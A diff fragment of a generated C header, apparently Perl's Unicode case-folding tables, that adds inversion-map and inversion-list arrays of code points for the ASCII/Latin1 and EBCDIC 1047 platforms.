+static const int Case_Folding_invmap[] = { /* for ASCII/Latin1 */
+	0,
+	0x61,
+	0,
+	0x3BC,
+	0,
+	0xE0,
+	0,
+	0xF8,
+	CF_use_AUX_TABLE_1,
+	0,
+	0x101,
+	0,
+	0x103,
+	0,
+	0x105,
+	0,
+	0x107,
+	0,
+	0x109,
+	0,
+	0x10B,
+	0,
+	0x10D,
+	0,
+	0x10F,
+	0,
+	0x111,
+	0,
+	0x113,
+	0,
+	0x115,
+	0,
+	0x117,
+	0,
+	0x119,
+	0,
+	0x11B,
+	0,
+	0x11D,
+	0,
+	0x11F,
+	0,
+	0x121,
+	0,
+	0x123,
+	0,
+	0x125,
+	0,
+	0x127,
+	0,
+	0x129,
+	0,
+	0x12B,
+	0,
+	0x12D,
+	0,
+	0x12F,
+	0,
+	CF_use_AUX_TABLE_2,
+	0,
+	0x133,
+	0,
+	0x135,
+	0,
+	0x137,
+	0,
+	0x13A,
+	0,
+	0x13C,
+	0,
+	0x13E,
+	0,
+	0x140,
+	0,
+	0x142,
+	0,
+	0x144,
+	0,
+	0x146,
+	0,
+	0x148,
+	0,
+	CF_use_AUX_TABLE_3,
+	0x14B,
+	0,
+	0x14D,
+	0,
+	0x14F,
+	0,
+	0x151,
+	0,
+	0x153,
+	0,
+	0x155,
+	0,
+	0x157,
+	0,
+	0x159,
+	0,
+	0x15B,
+	0,
+	0x15D,
+	0,
+	0x15F,
+	0,
+	0x161,
+	0,
+	0x163,
+	0,
+	0x165,
+	0,
+	0x167,
+	0,
+	0x169,
+	0,
+	0x16B,
+	0,
+	0x16D,
+	0,
+	0x16F,
+	0,
+	0x171,
+	0,
+	0x173,
+	0,
+	0x175,
+	0,
+	0x177,
+	0,
+	0xFF,
+	0x17A,
+	0,
+	0x17C,
+	0,
+	0x17E,
+	0,
+	0x73,
+	0,
+	0x253,
+	0x183,
+	0,
+	0x185,
+	0,
+	0x254,
+	0x188,
+	0,
+	0x256,
+	0x18C,
+	0,
+	0x1DD,
+	0x259,
+	0x25B,
+	0x192,
+	0,
+	0x260,
+	0x263,
+	0,
+	0x269,
+	0x268,
+	0x199,
+	0,
+	0x26F,
+	0x272,
+	0,
+	0x275,
+	0x1A1,
+	0,
+	0x1A3,
+	0,
+	0x1A5,
+	0,
+	0x280,
+	0x1A8,
+	0,
+	0x283,
+	0,
+	0x1AD,
+	0,
+	0x288,
+	0x1B0,
+	0,
+	0x28A,
+	0x1B4,
+	0,
+	0x1B6,
+	0,
+	0x292,
+	0x1B9,
+	0,
+	0x1BD,
+	0,
+	0x1C6,
+	0x1C6,
+	0,
+	0x1C9,
+	0x1C9,
+	0,
+	0x1CC,
+	0x1CC,
+	0,
+	0x1CE,
+	0,
+	0x1D0,
+	0,
+	0x1D2,
+	0,
+	0x1D4,
+	0,
+	0x1D6,
+	0,
+	0x1D8,
+	0,
+	0x1DA,
+	0,
+	0x1DC,
+	0,
+	0x1DF,
+	0,
+	0x1E1,
+	0,
+	0x1E3,
+	0,
+	0x1E5,
+	0,
+	0x1E7,
+	0,
+	0x1E9,
+	0,
+	0x1EB,
+	0,
+	0x1ED,
+	0,
+	0x1EF,
+	0,
+	CF_use_AUX_TABLE_4,
+	0x1F3,
+	0x1F3,
+	0,
+	0x1F5,
+	0,
+	0x195,
+	0x1BF,
+	0x1F9,
+	0,
+	0x1FB,
+	0,
+	0x1FD,
+	0,
+	0x1FF,
+	0,
+	0x201,
+	0,
+	0x203,
+	0,
+	0x205,
+	0,
+	0x207,
+	0,
+	0x209,
+	0,
+	0x20B,
+	0,
+	0x20D,
+	0,
+	0x20F,
+	0,
+	0x211,
+	0,
+	0x213,
+	0,
+	0x215,
+	0,
+	0x217,
+	0,
+	0x219,
+	0,
+	0x21B,
+	0,
+	0x21D,
+	0,
+	0x21F,
+	0,
+	0x19E,
+	0,
+	0x223,
+	0,
+	0x225,
+	0,
+	0x227,
+	0,
+	0x229,
+	0,
+	0x22B,
+	0,
+	0x22D,
+	0,
+	0x22F,
+	0,
+	0x231,
+	0,
+	0x233,
+	0,
+	0x2C65,
+	0x23C,
+	0,
+	0x19A,
+	0x2C66,
+	0,
+	0x242,
+	0,
+	0x180,
+	0x289,
+	0x28C,
+	0x247,
+	0,
+	0x249,
+	0,
+	0x24B,
+	0,
+	0x24D,
+	0,
+	0x24F,
+	0,
+	0x3B9,
+	0,
+	0x371,
+	0,
+	0x373,
+	0,
+	0x377,
+	0,
+	0x3F3,
+	0,
+	0x3AC,
+	0,
+	0x3AD,
+	0,
+	0x3CC,
+	0,
+	0x3CD,
+	CF_use_AUX_TABLE_5,
+	0x3B1,
+	0,
+	0x3C3,
+	0,
+	CF_use_AUX_TABLE_6,
+	0,
+	0x3C3,
+	0,
+	0x3D7,
+	0x3B2,
+	0x3B8,
+	0,
+	0x3C6,
+	0x3C0,
+	0,
+	0x3D9,
+	0,
+	0x3DB,
+	0,
+	0x3DD,
+	0,
+	0x3DF,
+	0,
+	0x3E1,
+	0,
+	0x3E3,
+	0,
+	0x3E5,
+	0,
+	0x3E7,
+	0,
+	0x3E9,
+	0,
+	0x3EB,
+	0,
+	0x3ED,
+	0,
+	0x3EF,
+	0,
+	0x3BA,
+	0x3C1,
+	0,
+	0x3B8,
+	0x3B5,
+	0,
+	0x3F8,
+	0,
+	0x3F2,
+	0x3FB,
+	0,
+	0x37B,
+	0x450,
+	0x430,
+	0,
+	0x461,
+	0,
+	0x463,
+	0,
+	0x465,
+	0,
+	0x467,
+	0,
+	0x469,
+	0,
+	0x46B,
+	0,
+	0x46D,
+	0,
+	0x46F,
+	0,
+	0x471,
+	0,
+	0x473,
+	0,
+	0x475,
+	0,
+	0x477,
+	0,
+	0x479,
+	0,
+	0x47B,
+	0,
+	0x47D,
+	0,
+	0x47F,
+	0,
+	0x481,
+	0,
+	0x48B,
+	0,
+	0x48D,
+	0,
+	0x48F,
+	0,
+	0x491,
+	0,
+	0x493,
+	0,
+	0x495,
+	0,
+	0x497,
+	0,
+	0x499,
+	0,
+	0x49B,
+	0,
+	0x49D,
+	0,
+	0x49F,
+	0,
+	0x4A1,
+	0,
+	0x4A3,
+	0,
+	0x4A5,
+	0,
+	0x4A7,
+	0,
+	0x4A9,
+	0,
+	0x4AB,
+	0,
+	0x4AD,
+	0,
+	0x4AF,
+	0,
+	0x4B1,
+	0,
+	0x4B3,
+	0,
+	0x4B5,
+	0,
+	0x4B7,
+	0,
+	0x4B9,
+	0,
+	0x4BB,
+	0,
+	0x4BD,
+	0,
+	0x4BF,
+	0,
+	0x4CF,
+	0x4C2,
+	0,
+	0x4C4,
+	0,
+	0x4C6,
+	0,
+	0x4C8,
+	0,
+	0x4CA,
+	0,
+	0x4CC,
+	0,
+	0x4CE,
+	0,
+	0x4D1,
+	0,
+	0x4D3,
+	0,
+	0x4D5,
+	0,
+	0x4D7,
+	0,
+	0x4D9,
+	0,
+	0x4DB,
+	0,
+	0x4DD,
+	0,
+	0x4DF,
+	0,
+	0x4E1,
+	0,
+	0x4E3,
+	0,
+	0x4E5,
+	0,
+	0x4E7,
+	0,
+	0x4E9,
+	0,
+	0x4EB,
+	0,
+	0x4ED,
+	0,
+	0x4EF,
+	0,
+	0x4F1,
+	0,
+	0x4F3,
+	0,
+	0x4F5,
+	0,
+	0x4F7,
+	0,
+	0x4F9,
+	0,
+	0x4FB,
+	0,
+	0x4FD,
+	0,
+	0x4FF,
+	0,
+	0x501,
+	0,
+	0x503,
+	0,
+	0x505,
+	0,
+	0x507,
+	0,
+	0x509,
+	0,
+	0x50B,
+	0,
+	0x50D,
+	0,
+	0x50F,
+	0,
+	0x511,
+	0,
+	0x513,
+	0,
+	0x515,
+	0,
+	0x517,
+	0,
+	0x519,
+	0,
+	0x51B,
+	0,
+	0x51D,
+	0,
+	0x51F,
+	0,
+	0x521,
+	0,
+	0x523,
+	0,
+	0x525,
+	0,
+	0x527,
+	0,
+	0x529,
+	0,
+	0x52B,
+	0,
+	0x52D,
+	0,
+	0x52F,
+	0,
+	0x561,
+	0,
+	CF_use_AUX_TABLE_7,
+	0,
+	0x2D00,
+	0,
+	0x2D27,
+	0,
+	0x2D2D,
+	0,
+	0x13F0,
+	0,
+	0x432,
+	0x434,
+	0x43E,
+	0x441,
+	0x442,
+	0x44A,
+	0x463,
+	0xA64B,
+	0,
+	0x1E01,
+	0,
+	0x1E03,
+	0,
+	0x1E05,
+	0,
+	0x1E07,
+	0,
+	0x1E09,
+	0,
+	0x1E0B,
+	0,
+	0x1E0D,
+	0,
+	0x1E0F,
+	0,
+	0x1E11,
+	0,
+	0x1E13,
+	0,
+	0x1E15,
+	0,
+	0x1E17,
+	0,
+	0x1E19,
+	0,
+	0x1E1B,
+	0,
+	0x1E1D,
+	0,
+	0x1E1F,
+	0,
+	0x1E21,
+	0,
+	0x1E23,
+	0,
+	0x1E25,
+	0,
+	0x1E27,
+	0,
+	0x1E29,
+	0,
+	0x1E2B,
+	0,
+	0x1E2D,
+	0,
+	0x1E2F,
+	0,
+	0x1E31,
+	0,
+	0x1E33,
+	0,
+	0x1E35,
+	0,
+	0x1E37,
+	0,
+	0x1E39,
+	0,
+	0x1E3B,
+	0,
+	0x1E3D,
+	0,
+	0x1E3F,
+	0,
+	0x1E41,
+	0,
+	0x1E43,
+	0,
+	0x1E45,
+	0,
+	0x1E47,
+	0,
+	0x1E49,
+	0,
+	0x1E4B,
+	0,
+	0x1E4D,
+	0,
+	0x1E4F,
+	0,
+	0x1E51,
+	0,
+	0x1E53,
+	0,
+	0x1E55,
+	0,
+	0x1E57,
+	0,
+	0x1E59,
+	0,
+	0x1E5B,
+	0,
+	0x1E5D,
+	0,
+	0x1E5F,
+	0,
+	0x1E61,
+	0,
+	0x1E63,
+	0,
+	0x1E65,
+	0,
+	0x1E67,
+	0,
+	0x1E69,
+	0,
+	0x1E6B,
+	0,
+	0x1E6D,
+	0,
+	0x1E6F,
+	0,
+	0x1E71,
+	0,
+	0x1E73,
+	0,
+	0x1E75,
+	0,
+	0x1E77,
+	0,
+	0x1E79,
+	0,
+	0x1E7B,
+	0,
+	0x1E7D,
+	0,
+	0x1E7F,
+	0,
+	0x1E81,
+	0,
+	0x1E83,
+	0,
+	0x1E85,
+	0,
+	0x1E87,
+	0,
+	0x1E89,
+	0,
+	0x1E8B,
+	0,
+	0x1E8D,
+	0,
+	0x1E8F,
+	0,
+	0x1E91,
+	0,
+	0x1E93,
+	0,
+	0x1E95,
+	0,
+	CF_use_AUX_TABLE_8,
+	CF_use_AUX_TABLE_9,
+	CF_use_AUX_TABLE_10,
+	CF_use_AUX_TABLE_11,
+	CF_use_AUX_TABLE_12,
+	0x1E61,
+	0,
+	CF_use_AUX_TABLE_1,
+	0,
+	0x1EA1,
+	0,
+	0x1EA3,
+	0,
+	0x1EA5,
+	0,
+	0x1EA7,
+	0,
+	0x1EA9,
+	0,
+	0x1EAB,
+	0,
+	0x1EAD,
+	0,
+	0x1EAF,
+	0,
+	0x1EB1,
+	0,
+	0x1EB3,
+	0,
+	0x1EB5,
+	0,
+	0x1EB7,
+	0,
+	0x1EB9,
+	0,
+	0x1EBB,
+	0,
+	0x1EBD,
+	0,
+	0x1EBF,
+	0,
+	0x1EC1,
+	0,
+	0x1EC3,
+	0,
+	0x1EC5,
+	0,
+	0x1EC7,
+	0,
+	0x1EC9,
+	0,
+	0x1ECB,
+	0,
+	0x1ECD,
+	0,
+	0x1ECF,
+	0,
+	0x1ED1,
+	0,
+	0x1ED3,
+	0,
+	0x1ED5,
+	0,
+	0x1ED7,
+	0,
+	0x1ED9,
+	0,
+	0x1EDB,
+	0,
+	0x1EDD,
+	0,
+	0x1EDF,
+	0,
+	0x1EE1,
+	0,
+	0x1EE3,
+	0,
+	0x1EE5,
+	0,
+	0x1EE7,
+	0,
+	0x1EE9,
+	0,
+	0x1EEB,
+	0,
+	0x1EED,
+	0,
+	0x1EEF,
+	0,
+	0x1EF1,
+	0,
+	0x1EF3,
+	0,
+	0x1EF5,
+	0,
+	0x1EF7,
+	0,
+	0x1EF9,
+	0,
+	0x1EFB,
+	0,
+	0x1EFD,
+	0,
+	0x1EFF,
+	0,
+	0x1F00,
+	0,
+	0x1F10,
+	0,
+	0x1F20,
+	0,
+	0x1F30,
+	0,
+	0x1F40,
+	0,
+	CF_use_AUX_TABLE_13,
+	0,
+	CF_use_AUX_TABLE_14,
+	0,
+	CF_use_AUX_TABLE_15,
+	0,
+	CF_use_AUX_TABLE_16,
+	0,
+	0x1F51,
+	0,
+	0x1F53,
+	0,
+	0x1F55,
+	0,
+	0x1F57,
+	0,
+	0x1F60,
+	0,
+	CF_use_AUX_TABLE_17,
+	CF_use_AUX_TABLE_18,
+	CF_use_AUX_TABLE_19,
+	CF_use_AUX_TABLE_20,
+	CF_use_AUX_TABLE_21,
+	CF_use_AUX_TABLE_22,
+	CF_use_AUX_TABLE_23,
+	CF_use_AUX_TABLE_24,
+	CF_use_AUX_TABLE_17,
+	CF_use_AUX_TABLE_18,
+	CF_use_AUX_TABLE_19,
+	CF_use_AUX_TABLE_20,
+	CF_use_AUX_TABLE_21,
+	CF_use_AUX_TABLE_22,
+	CF_use_AUX_TABLE_23,
+	CF_use_AUX_TABLE_24,
+	CF_use_AUX_TABLE_25,
+	CF_use_AUX_TABLE_26,
+	CF_use_AUX_TABLE_27,
+	CF_use_AUX_TABLE_28,
+	CF_use_AUX_TABLE_29,
+	CF_use_AUX_TABLE_30,
+	CF_use_AUX_TABLE_31,
+	CF_use_AUX_TABLE_32,
+	CF_use_AUX_TABLE_25,
+	CF_use_AUX_TABLE_26,
+	CF_use_AUX_TABLE_27,
+	CF_use_AUX_TABLE_28,
+	CF_use_AUX_TABLE_29,
+	CF_use_AUX_TABLE_30,
+	CF_use_AUX_TABLE_31,
+	CF_use_AUX_TABLE_32,
+	CF_use_AUX_TABLE_33,
+	CF_use_AUX_TABLE_34,
+	CF_use_AUX_TABLE_35,
+	CF_use_AUX_TABLE_36,
+	CF_use_AUX_TABLE_37,
+	CF_use_AUX_TABLE_38,
+	CF_use_AUX_TABLE_39,
+	CF_use_AUX_TABLE_40,
+	CF_use_AUX_TABLE_33,
+	CF_use_AUX_TABLE_34,
+	CF_use_AUX_TABLE_35,
+	CF_use_AUX_TABLE_36,
+	CF_use_AUX_TABLE_37,
+	CF_use_AUX_TABLE_38,
+	CF_use_AUX_TABLE_39,
+	CF_use_AUX_TABLE_40,
+	0,
+	CF_use_AUX_TABLE_41,
+	CF_use_AUX_TABLE_42,
+	CF_use_AUX_TABLE_43,
+	0,
+	CF_use_AUX_TABLE_44,
+	CF_use_AUX_TABLE_45,
+	0x1FB0,
+	0x1F70,
+	CF_use_AUX_TABLE_42,
+	0,
+	0x3B9,
+	0,
+	CF_use_AUX_TABLE_46,
+	CF_use_AUX_TABLE_47,
+	CF_use_AUX_TABLE_48,
+	0,
+	CF_use_AUX_TABLE_49,
+	CF_use_AUX_TABLE_50,
+	0x1F72,
+	CF_use_AUX_TABLE_47,
+	0,
+	CF_use_AUX_TABLE_51,
+	CF_use_AUX_TABLE_5,
+	0,
+	CF_use_AUX_TABLE_52,
+	CF_use_AUX_TABLE_53,
+	0x1FD0,
+	0x1F76,
+	0,
+	CF_use_AUX_TABLE_54,
+	CF_use_AUX_TABLE_6,
+	CF_use_AUX_TABLE_55,
+	0,
+	CF_use_AUX_TABLE_56,
+	CF_use_AUX_TABLE_57,
+	0x1FE0,
+	0x1F7A,
+	0x1FE5,
+	0,
+	CF_use_AUX_TABLE_58,
+	CF_use_AUX_TABLE_59,
+	CF_use_AUX_TABLE_60,
+	0,
+	CF_use_AUX_TABLE_61,
+	CF_use_AUX_TABLE_62,
+	0x1F78,
+	0x1F7C,
+	CF_use_AUX_TABLE_59,
+	0,
+	0x3C9,
+	0,
+	0x6B,
+	0xE5,
+	0,
+	0x214E,
+	0,
+	0x2170,
+	0,
+	0x2184,
+	0,
+	0x24D0,
+	0,
+	0x2C30,
+	0,
+	0x2C61,
+	0,
+	0x26B,
+	0x1D7D,
+	0x27D,
+	0,
+	0x2C68,
+	0,
+	0x2C6A,
+	0,
+	0x2C6C,
+	0,
+	0x251,
+	0x271,
+	0x250,
+	0x252,
+	0,
+	0x2C73,
+	0,
+	0x2C76,
+	0,
+	0x23F,
+	0x2C81,
+	0,
+	0x2C83,
+	0,
+	0x2C85,
+	0,
+	0x2C87,
+	0,
+	0x2C89,
+	0,
+	0x2C8B,
+	0,
+	0x2C8D,
+	0,
+	0x2C8F,
+	0,
+	0x2C91,
+	0,
+	0x2C93,
+	0,
+	0x2C95,
+	0,
+	0x2C97,
+	0,
+	0x2C99,
+	0,
+	0x2C9B,
+	0,
+	0x2C9D,
+	0,
+	0x2C9F,
+	0,
+	0x2CA1,
+	0,
+	0x2CA3,
+	0,
+	0x2CA5,
+	0,
+	0x2CA7,
+	0,
+	0x2CA9,
+	0,
+	0x2CAB,
+	0,
+	0x2CAD,
+	0,
+	0x2CAF,
+	0,
+	0x2CB1,
+	0,
+	0x2CB3,
+	0,
+	0x2CB5,
+	0,
+	0x2CB7,
+	0,
+	0x2CB9,
+	0,
+	0x2CBB,
+	0,
+	0x2CBD,
+	0,
+	0x2CBF,
+	0,
+	0x2CC1,
+	0,
+	0x2CC3,
+	0,
+	0x2CC5,
+	0,
+	0x2CC7,
+	0,
+	0x2CC9,
+	0,
+	0x2CCB,
+	0,
+	0x2CCD,
+	0,
+	0x2CCF,
+	0,
+	0x2CD1,
+	0,
+	0x2CD3,
+	0,
+	0x2CD5,
+	0,
+	0x2CD7,
+	0,
+	0x2CD9,
+	0,
+	0x2CDB,
+	0,
+	0x2CDD,
+	0,
+	0x2CDF,
+	0,
+	0x2CE1,
+	0,
+	0x2CE3,
+	0,
+	0x2CEC,
+	0,
+	0x2CEE,
+	0,
+	0x2CF3,
+	0,
+	0xA641,
+	0,
+	0xA643,
+	0,
+	0xA645,
+	0,
+	0xA647,
+	0,
+	0xA649,
+	0,
+	0xA64B,
+	0,
+	0xA64D,
+	0,
+	0xA64F,
+	0,
+	0xA651,
+	0,
+	0xA653,
+	0,
+	0xA655,
+	0,
+	0xA657,
+	0,
+	0xA659,
+	0,
+	0xA65B,
+	0,
+	0xA65D,
+	0,
+	0xA65F,
+	0,
+	0xA661,
+	0,
+	0xA663,
+	0,
+	0xA665,
+	0,
+	0xA667,
+	0,
+	0xA669,
+	0,
+	0xA66B,
+	0,
+	0xA66D,
+	0,
+	0xA681,
+	0,
+	0xA683,
+	0,
+	0xA685,
+	0,
+	0xA687,
+	0,
+	0xA689,
+	0,
+	0xA68B,
+	0,
+	0xA68D,
+	0,
+	0xA68F,
+	0,
+	0xA691,
+	0,
+	0xA693,
+	0,
+	0xA695,
+	0,
+	0xA697,
+	0,
+	0xA699,
+	0,
+	0xA69B,
+	0,
+	0xA723,
+	0,
+	0xA725,
+	0,
+	0xA727,
+	0,
+	0xA729,
+	0,
+	0xA72B,
+	0,
+	0xA72D,
+	0,
+	0xA72F,
+	0,
+	0xA733,
+	0,
+	0xA735,
+	0,
+	0xA737,
+	0,
+	0xA739,
+	0,
+	0xA73B,
+	0,
+	0xA73D,
+	0,
+	0xA73F,
+	0,
+	0xA741,
+	0,
+	0xA743,
+	0,
+	0xA745,
+	0,
+	0xA747,
+	0,
+	0xA749,
+	0,
+	0xA74B,
+	0,
+	0xA74D,
+	0,
+	0xA74F,
+	0,
+	0xA751,
+	0,
+	0xA753,
+	0,
+	0xA755,
+	0,
+	0xA757,
+	0,
+	0xA759,
+	0,
+	0xA75B,
+	0,
+	0xA75D,
+	0,
+	0xA75F,
+	0,
+	0xA761,
+	0,
+	0xA763,
+	0,
+	0xA765,
+	0,
+	0xA767,
+	0,
+	0xA769,
+	0,
+	0xA76B,
+	0,
+	0xA76D,
+	0,
+	0xA76F,
+	0,
+	0xA77A,
+	0,
+	0xA77C,
+	0,
+	0x1D79,
+	0xA77F,
+	0,
+	0xA781,
+	0,
+	0xA783,
+	0,
+	0xA785,
+	0,
+	0xA787,
+	0,
+	0xA78C,
+	0,
+	0x265,
+	0,
+	0xA791,
+	0,
+	0xA793,
+	0,
+	0xA797,
+	0,
+	0xA799,
+	0,
+	0xA79B,
+	0,
+	0xA79D,
+	0,
+	0xA79F,
+	0,
+	0xA7A1,
+	0,
+	0xA7A3,
+	0,
+	0xA7A5,
+	0,
+	0xA7A7,
+	0,
+	0xA7A9,
+	0,
+	0x266,
+	0x25C,
+	0x261,
+	0x26C,
+	0x26A,
+	0,
+	0x29E,
+	0x287,
+	0x29D,
+	0xAB53,
+	0xA7B5,
+	0,
+	0xA7B7,
+	0,
+	0x13A0,
+	0,
+	CF_use_AUX_TABLE_63,
+	CF_use_AUX_TABLE_64,
+	CF_use_AUX_TABLE_65,
+	CF_use_AUX_TABLE_66,
+	CF_use_AUX_TABLE_67,
+	CF_use_AUX_TABLE_68,
+	0,
+	CF_use_AUX_TABLE_69,
+	CF_use_AUX_TABLE_70,
+	CF_use_AUX_TABLE_71,
+	CF_use_AUX_TABLE_72,
+	CF_use_AUX_TABLE_73,
+	0,
+	0xFF41,
+	0,
+	0x10428,
+	0,
+	0x104D8,
+	0,
+	0x10CC0,
+	0,
+	0x118C0,
+	0,
+	0x1E922,
+	0
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV Case_Folding_invlist[] = { /* for EBCDIC 1047 */
+	1392,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
+	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x41,
-	0x5B,
-	0x61,
-	0x7B,
-	0xAA,
-	0xAB,
-	0xB5,
-	0xB6,
+	0x59,
+	0x5A,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
 	0xBA,
 	0xBB,
-	0xC0,
-	0xD7,
-	0xD8,
-	0xF7,
-	0xF8,
-	0x1BB,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x179,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x182,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x187,
+	0x188,
+	0x189,
+	0x18B,
+	0x18C,
+	0x18E,
+	0x18F,
+	0x190,
+	0x191,
+	0x192,
+	0x193,
+	0x194,
+	0x195,
+	0x196,
+	0x197,
+	0x198,
+	0x199,
+	0x19C,
+	0x19D,
+	0x19E,
+	0x19F,
+	0x1A0,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A7,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1AF,
+	0x1B0,
+	0x1B1,
+	0x1B3,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B8,
+	0x1B9,
 	0x1BC,
-	0x1C0,
+	0x1BD,
 	0x1C4,
-	0x294,
-	0x295,
-	0x2B9,
-	0x2C0,
-	0x2C2,
-	0x2E0,
-	0x2E5,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F0,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F7,
+	0x1F8,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23B,
+	0x23C,
+	0x23D,
+	0x23E,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x244,
+	0x245,
+	0x246,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
 	0x345,
 	0x346,
 	0x370,
-	0x374,
+	0x371,
+	0x372,
+	0x373,
 	0x376,
-	0x378,
-	0x37A,
-	0x37E,
+	0x377,
 	0x37F,
 	0x380,
 	0x386,
@@ -1374,16 +3790,263 @@
 	0x38C,
 	0x38D,
 	0x38E,
+	0x390,
+	0x391,
 	0x3A2,
 	0x3A3,
+	0x3AC,
+	0x3B0,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CF,
+	0x3D0,
+	0x3D1,
+	0x3D2,
+	0x3D5,
+	0x3D6,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F1,
+	0x3F2,
+	0x3F4,
+	0x3F5,
 	0x3F6,
 	0x3F7,
-	0x482,
+	0x3F8,
+	0x3F9,
+	0x3FA,
+	0x3FB,
+	0x3FD,
+	0x400,
+	0x410,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
 	0x48A,
-	0x530,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
